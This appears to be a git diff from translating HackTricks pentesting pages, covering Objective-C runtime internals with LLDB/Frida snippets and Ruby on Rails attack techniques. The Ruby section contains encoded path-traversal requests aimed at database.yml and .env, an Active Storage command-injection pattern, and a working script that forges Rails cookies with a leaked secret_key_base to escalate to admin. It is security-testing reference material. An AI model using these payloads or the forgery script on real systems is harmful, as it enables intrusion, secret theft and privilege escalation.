Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.

This commit is contained in:
Translator 2025-08-26 15:04:16 +00:00
parent 16b0d5d098
commit eef4c31fa0
2 changed files with 253 additions and 46 deletions

View File

@ -4,9 +4,9 @@
## CFRuntimeClass
CF\* Objekte stammen aus CoreFoundation, das mehr als 50 Klassen von Objekten wie `CFString`, `CFNumber` oder `CFAllocator` bereitstellt.
CF* objects come from CoreFoundation, which provides more than 50 classes of objects like `CFString`, `CFNumber` or `CFAllocator`.
Alle diese Klassen sind Instanzen der Klasse `CFRuntimeClass`, die, wenn sie aufgerufen wird, einen Index zur `__CFRuntimeClassTable` zurückgibt. Die CFRuntimeClass ist in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) definiert:
All these classes are instances of the class `CFRuntimeClass`, which when called it returns an index to the `__CFRuntimeClassTable`. The CFRuntimeClass is defined in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
@ -57,66 +57,77 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
### Verwendete Speicherabschnitte
Die meisten Daten, die von der ObjectiveC-Laufzeit verwendet werden, ändern sich während der Ausführung, daher verwendet es einige Abschnitte aus dem **\_\_DATA**-Segment im Speicher:
Die meisten Daten, die die ObjectiveC Runtime verwendet, ändern sich während der Ausführung, daher nutzt sie eine Reihe von Sektionen aus der MachO `__DATA`-Familie von Segments im Speicher. Historisch gehörten dazu:
- **`__objc_msgrefs`** (`message_ref_t`): Nachrichtenreferenzen
- **`__objc_ivar`** (`ivar`): Instanzvariablen
- **`__objc_data`** (`...`): Änderbare Daten
- **`__objc_classrefs`** (`Class`): Klassenreferenzen
- **`__objc_superrefs`** (`Class`): Superklassenreferenzen
- **`__objc_protorefs`** (`protocol_t *`): Protokollreferenzen
- **`__objc_selrefs`** (`SEL`): Selektorreferenzen
- **`__objc_const`** (`...`): Klassen `r/o` Daten und andere (hoffentlich) konstante Daten
- **`__objc_imageinfo`** (`version, flags`): Wird während des Bildladens verwendet: Version derzeit `0`; Flags geben die Unterstützung für voroptimierte GC an usw.
- **`__objc_protolist`** (`protocol_t *`): Protokollliste
- **`__objc_nlcatlist`** (`category_t`): Zeiger auf Nicht-Lazy-Kategorien, die in diesem Binärformat definiert sind
- **`__objc_catlist`** (`category_t`): Zeiger auf Kategorien, die in diesem Binärformat definiert sind
- **`__objc_nlclslist`** (`classref_t`): Zeiger auf Nicht-Lazy-Objective-C-Klassen, die in diesem Binärformat definiert sind
- **`__objc_classlist`** (`classref_t`): Zeiger auf alle Objective-C-Klassen, die in diesem Binärformat definiert sind
- `__objc_msgrefs` (`message_ref_t`): Nachrichtenreferenzen
- `__objc_ivar` (`ivar`): Instanzvariablen
- `__objc_data` (`...`): Mutable Daten
- `__objc_classrefs` (`Class`): Klassenreferenzen
- `__objc_superrefs` (`Class`): Superclass-Referenzen
- `__objc_protorefs` (`protocol_t *`): Protokollreferenzen
- `__objc_selrefs` (`SEL`): Selector-Referenzen
- `__objc_const` (`...`): Klassen r/o Daten und andere (hoffentlich) konstante Daten
- `__objc_imageinfo` (`version, flags`): Wird beim Image-Load verwendet: Version derzeit `0`; Flags spezifizieren z. B. voroptimierte GC-Unterstützung.
- `__objc_protolist` (`protocol_t *`): Protokollliste
- `__objc_nlcatlist` (`category_t`): Pointer auf Non-Lazy Categories, die in diesem Binary definiert sind
- `__objc_catlist` (`category_t`): Pointer auf Categories, die in diesem Binary definiert sind
- `__objc_nlclslist` (`classref_t`): Pointer auf Non-Lazy ObjectiveC Klassen, die in diesem Binary definiert sind
- `__objc_classlist` (`classref_t`): Pointer auf alle ObjectiveC Klassen, die in diesem Binary definiert sind
Es verwendet auch einige Abschnitte im **`__TEXT`**-Segment, um konstante Werte zu speichern, wenn es nicht möglich ist, in diesem Abschnitt zu schreiben:
Es verwendet außerdem einige Sektionen im `__TEXT`-Segment, um Konstanten zu speichern:
- **`__objc_methname`** (C-String): Methodennamen
- **`__objc_classname`** (C-String): Klassennamen
- **`__objc_methtype`** (C-String): Methodentypen
- `__objc_methname` (CString): Methodennamen
- `__objc_classname` (CString): Klassennamen
- `__objc_methtype` (CString): Methodentypen
### Typkodierung
Modernes macOS/iOS (insbesondere auf Apple Silicon) legt ObjectiveC/SwiftMetadaten außerdem in:
Objective-C verwendet einige Mangling-Techniken, um Selektor- und Variablentypen einfacher und komplexer Typen zu kodieren:
- `__DATA_CONST`: unveränderliche ObjectiveCMetadaten, die schreibgeschützt zwischen Prozessen geteilt werden können (zum Beispiel liegen viele `__objc_*`-Listen jetzt hier).
- `__AUTH` / `__AUTH_CONST`: Segmente, die Zeiger enthalten, die beim Laden oder zur Laufzeit auf arm64e authentifiziert werden müssen (Pointer Authentication). Sie werden außerdem `__auth_got` in `__AUTH_CONST` sehen, anstelle der legacy `__la_symbol_ptr`/`__got`-Einträge. Beim instrumenting or hooking denken Sie daran, sowohl `__got`- als auch `__auth_got`-Einträge in modernen Binaries zu berücksichtigen.
- Primitive Typen verwenden den ersten Buchstaben des Typs `i` für `int`, `c` für `char`, `l` für `long`... und verwenden den Großbuchstaben, falls er unsigned ist (`L` für `unsigned Long`).
- Andere Datentypen, deren Buchstaben verwendet werden oder speziell sind, verwenden andere Buchstaben oder Symbole wie `q` für `long long`, `b` für `bitfields`, `B` für `booleans`, `#` für `classes`, `@` für `id`, `*` für `char pointers`, `^` für generische `pointers` und `?` für `undefined`.
- Arrays, Strukturen und Vereinigungen verwenden `[`, `{` und `(`
Für Hintergrundinformationen zu dyld preoptimization (z. B. selector uniquing und class/protocol precomputation) und warum viele dieser Sektionen beim Laden aus dem shared cache bereits "fixed up" sind, sehen Sie sich die Apple `objc-opt`-Quellen und dyld shared cache-Notizen an. Das beeinflusst, wo und wie Sie Metadaten zur Laufzeit patchen können.
#### Beispielmethodendeklaration
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Type Encoding
ObjectiveC verwendet Mangling, um Selector- und Variablentypen einfacher und komplexer Typen zu kodieren:
- Primitive Typen verwenden den Anfangsbuchstaben des Typs: `i` für `int`, `c` für `char`, `l` für `long` ... und verwenden Großbuchstaben im Fall von unsigned (`L` für `unsigned long`).
- Andere Datentypen verwenden andere Buchstaben oder Symbole wie `q` für `long long`, `b` für bitfields, `B` für booleans, `#` für classes, `@` für `id`, `*` für `char *`, `^` für generische Pointer und `?` für undefined.
- Arrays, Strukturen und Unions verwenden jeweils `[`, `{` und `(`.
#### Beispiel Methodendeklaration
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
Der Selektor wäre `processString:withOptions:andError:`
Der Selector wäre `processString:withOptions:andError:`
#### Typkodierung
#### Type Encoding
- `id` wird als `@` kodiert
- `char *` wird als `*` kodiert
Die vollständige Typkodierung für die Methode ist:
Die vollständige Type Encoding für die Methode ist:
```less
@24@0:8@16*20^@24
```
#### Detaillierte Aufschlüsselung
#### Detailed Breakdown
1. **Rückgabetyp (`NSString *`)**: Kodiert als `@` mit einer Länge von 24
2. **`self` (Objektinstanz)**: Kodiert als `@`, bei Offset 0
3. **`_cmd` (Selektor)**: Kodiert als `:`, bei Offset 8
4. **Erstes Argument (`char * input`)**: Kodiert als `*`, bei Offset 16
5. **Zweites Argument (`NSDictionary * options`)**: Kodiert als `@`, bei Offset 20
6. **Drittes Argument (`NSError ** error`)**: Kodiert als `^@`, bei Offset 24
1. Rückgabetyp (`NSString *`): Kodiert als `@` mit Länge 24
2. `self` (Objektinstanz): Kodiert als `@`, bei Offset 0
3. `_cmd` (Selector): Kodiert als `:`, bei Offset 8
4. Erstes Argument (`char * input`): Kodiert als `*`, bei Offset 16
5. Zweites Argument (`NSDictionary * options`): Kodiert als `@`, bei Offset 20
6. Drittes Argument (`NSError ** error`): Kodiert als `^@`, bei Offset 24
**Mit dem Selektor + der Kodierung kannst du die Methode rekonstruieren.**
Mit dem Selector + der Kodierung lässt sich die Methode rekonstruieren.
### **Klassen**
### Classes
Klassen in Objective-C sind eine Struktur mit Eigenschaften, Methodenzeigern... Es ist möglich, die Struktur `objc_class` im [**Quellcode**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) zu finden:
Klassen in ObjectiveC sind CStrukturen mit Eigenschaften, Methodenzeigern usw. Man findet die Struktur `objc_class` im [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
Diese Klasse verwendet einige Bits des isa-Feldes, um Informationen über die Klasse anzuzeigen.
This class uses some bits of the `isa` field to indicate information about the class.
Dann hat die Struktur einen Zeiger auf die Struktur `class_ro_t`, die auf der Festplatte gespeichert ist und Attribute der Klasse wie ihren Namen, Basis-Methoden, Eigenschaften und Instanzvariablen enthält.\
Während der Laufzeit wird eine zusätzliche Struktur `class_rw_t` verwendet, die Zeiger enthält, die geändert werden können, wie Methoden, Protokolle, Eigenschaften...
Then, the struct has a pointer to the struct `class_ro_t` stored on disk which contains attributes of the class like its name, base methods, properties and instance variables. During runtime an additional structure `class_rw_t` is used containing pointers which can be altered such as methods, protocols, properties.
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## Moderne Objektrepräsentationen im Speicher (arm64e, getaggte Pointer, Swift)
### NichtPointer-`isa` und Pointer-Authentifizierung (arm64e)
Auf Apple Silicon und in aktuellen Runtimes ist das ObjectiveC-`isa` nicht immer ein roher Klassenzeiger. Auf arm64e ist es eine gepackte Struktur, die auch einen Pointer Authentication Code (PAC) tragen kann. Je nach Plattform kann sie Felder wie `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` und den Klassenzeiger selbst (verschoben oder signiert) enthalten. Das bedeutet, dass das blinde Dereferenzieren der ersten 8 Bytes eines ObjectiveC-Objekts nicht immer einen gültigen `Class`-Zeiger liefert.
Praktische Hinweise beim Debuggen auf arm64e:
- LLDB wird normalerweise die PAC-Bits für dich entfernen, wenn ObjectiveC-Objekte mit `po` ausgegeben werden, aber beim Arbeiten mit rohen Zeigern musst du die Authentifizierung ggf. manuell entfernen:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- Viele Funktions-/Datenszeiger in MachO liegen in `__AUTH`/`__AUTH_CONST` und erfordern eine Authentifizierung vor der Verwendung. Wenn du interponierst oder neu bindest (z. B. im fishhookStil), stelle sicher, dass du zusätzlich zu dem legacy `__got` auch `__auth_got` behandelst.
Für einen tiefen Einblick in Sprach-/ABI-Garantien und die von Clang/LLVM verfügbaren `<ptrauth.h>`-Intrinsics siehe die Referenz am Ende dieser Seite.
### Getaggte Pointer-Objekte
Einige Foundation-Klassen vermeiden Heap-Allokation, indem sie den Payload des Objekts direkt im Zeigerwert kodieren (tagged pointers). Die Erkennung unterscheidet sich je nach Plattform (z. B. das MostSignificant-Bit auf arm64, das LeastSignificant auf x86_64 macOS). Getaggte Objekte haben kein reguläres `isa` im Speicher; die Runtime löst die Klasse aus den Tag-Bits auf. Beim Untersuchen beliebiger `id`-Werte:
- Verwende Runtime-APIs anstatt direkt am `isa`-Feld herumzupfen: `object_getClass(obj)` / `[obj class]`.
- In LLDB reicht `po (id)0xADDR`, um getaggte Pointer-Instanzen korrekt auszugeben, da die Runtime zur Bestimmung der Klasse herangezogen wird.
### Swift-Heap-Objekte und Metadaten
Pure Swift-Klassen sind ebenfalls Objekte mit einem Header, der auf Swift-Metadaten zeigt (nicht auf das ObjectiveC-`isa`). Um laufende Swift-Prozesse zu introspektieren, ohne sie zu verändern, kannst du das Swift-Toolchain-Tool `swift-inspect` verwenden, das die Remote Mirror Library nutzt, um Runtime-Metadaten zu lesen:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
Das ist sehr nützlich, um Swift-Heap-Objekte und Protokollkonformitäten zuzuordnen, beim reversing gemischter Swift/ObjC-Apps.
---
## Kurzreferenz zur Laufzeit-Inspektion (LLDB / Frida)
### LLDB
- Objekt oder Klasse aus einem rohen Zeiger ausgeben:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- ObjectiveC-Klasse aus einem Zeiger auf das `self` einer Objektmethode in einem Breakpoint inspizieren:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- Dump sections that carry ObjectiveC metadata (Hinweis: viele befinden sich jetzt in `__DATA_CONST` / `__AUTH_CONST`):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- Lese den Speicher eines bekannten Klassenobjekts, um beim reversing von method lists zu `class_ro_t` / `class_rw_t` zu pivoten:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC und Swift)
Frida bietet hochstufige LaufzeitBrücken, die sehr nützlich sind, um LiveObjekte ohne Symbole zu entdecken und zu instrumentieren:
- Klassen und Methoden aufzählen, tatsächliche Klassennamen zur Laufzeit auflösen und ObjectiveC selectors abfangen:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: Swift-Typen auflisten und mit Swift-Instanzen interagieren (erfordert aktuelle Frida; sehr nützlich auf Apple Silicon-Zielen).
---
## Referenzen
- Clang/LLVM: Pointer Authentication und die `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Apple objc runtime Header (tagged pointers, nonpointer `isa`, etc.) z. B. `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,100 @@
# Ruby Tricks
# Ruby-Tricks
{{#include ../../banners/hacktricks-training.md}}
## Datei-Upload zu RCE
## File upload to RCE
Wie in [diesem Artikel](https://www.offsec.com/blog/cve-2024-46986/) erklärt, kann das Hochladen einer `.rb`-Datei in sensible Verzeichnisse wie `config/initializers/` zu Remote Code Execution (RCE) in Ruby on Rails-Anwendungen führen.
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
Tipps:
- Andere Boot-/eager-load-Orte, die beim App-Start ausgeführt werden, sind ebenfalls riskant, wenn sie writeable sind (z. B. `config/initializers/` ist das klassische). Wenn du einen beliebigen Datei-Upload findest, der irgendwo unter `config/` landet und später evaluiert/required wird, kannst du RCE beim Boot erhalten.
- Suche nach dev/staging-Builds, die vom Benutzer kontrollierte Dateien in das Container-Image kopieren, in dem Rails sie beim Boot lädt.
## Active Storage image transformation → command execution (CVE-2025-24293)
Wenn eine Anwendung Active Storage mit `image_processing` + `mini_magick` verwendet und untrusted Parameter an Bildtransformationsmethoden übergibt, könnten Rails-Versionen vor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 Command Injection ermöglichen, weil einige Transformationsmethoden fälschlicherweise standardmäßig erlaubt waren.
- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
- Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
## Fälschen/Entschlüsseln von Rails-Cookies, wenn `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimales Ruby, um moderne Cookies zu entschlüsseln und neu zu verschlüsseln (AES-256-GCM, Standard in aktuellen Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Hinweise:
- Ältere Apps können AES-256-CBC und Salts `encrypted cookie` / `signed encrypted cookie`, oder JSON/Marshal-Serializer verwenden. Passe Salts, cipher und serializer entsprechend an.
- Bei Kompromittierung oder während einer Bewertung `secret_key_base` rotieren, um alle vorhandenen Cookies ungültig zu machen.
## Siehe auch (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Referenzen
- Rails Sicherheitsankündigung: CVE-2025-24293 Active Storage unsafe transformation methods (behoben in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}